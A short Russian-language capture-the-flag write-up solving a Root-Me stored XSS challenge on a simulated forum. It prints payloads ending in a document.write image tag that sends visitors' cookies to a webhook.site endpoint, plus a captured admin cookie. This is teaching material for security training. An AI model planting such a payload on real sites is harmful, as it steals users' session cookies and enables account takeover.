WebPentest
May 13
WebPentest #2. Stored XSS
Здесь нужно заполучить куки администратора...
Задача: https://www.root-me.org/ru/Zadachi-i-problemy/Veb-Klient/XSS-Stored-1
Target: http://challenge01.root-me.org/web-client/ch18/
Подсказка: для приема куков можно использовать сервис webhook.site.
Разбор
- Исследуем веб-сайт и его функциональность. Здесь смоделирован функционал форума, где каждый пользователь может опубликовать сообщение вида Title/message.
<script>alert('test')</script>
- Уязвимость найдена, это Stored XSS - то есть вредоносный код, который сохраняется на стороне сервера, например, в базе данных, форуме, поле комментариев и т.д.
Вот тут можно почитать более подробно про этот вид уязвимости. - Как используя найденную уязвимость можно увести куки администратора. Если использовать тот же payload, то функция alert выведет свои же куки. То есть этот скрипт сработает у всех, кто откроет эту страницу.
<script>alert(document.cookie)</script>
- Воспользуемся сервисом https://webhook.site/, он создаст нам временный эндойнт, куда мы и отправим куки пользователей, который зайдут на страницу форума.
Тогда payload будет такого вида. То есть мы создаем картинку, где в качестве контента будет ссылка на наш эндопйнт, а параметром передадим куки.
document.write("<img src='https://webhook.site/b1487899-a232-47ab-8df1-21ba4dd04069/"+document.cookie+"'></img>")
- Ждем, когда на страницу зайдет администратор и мы получим его куки. Когда это произойдет, мы получим ответ вида:
https://webhook.site/6aaf7ecb-938c-400f-a262-0c321d17d5bd/ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6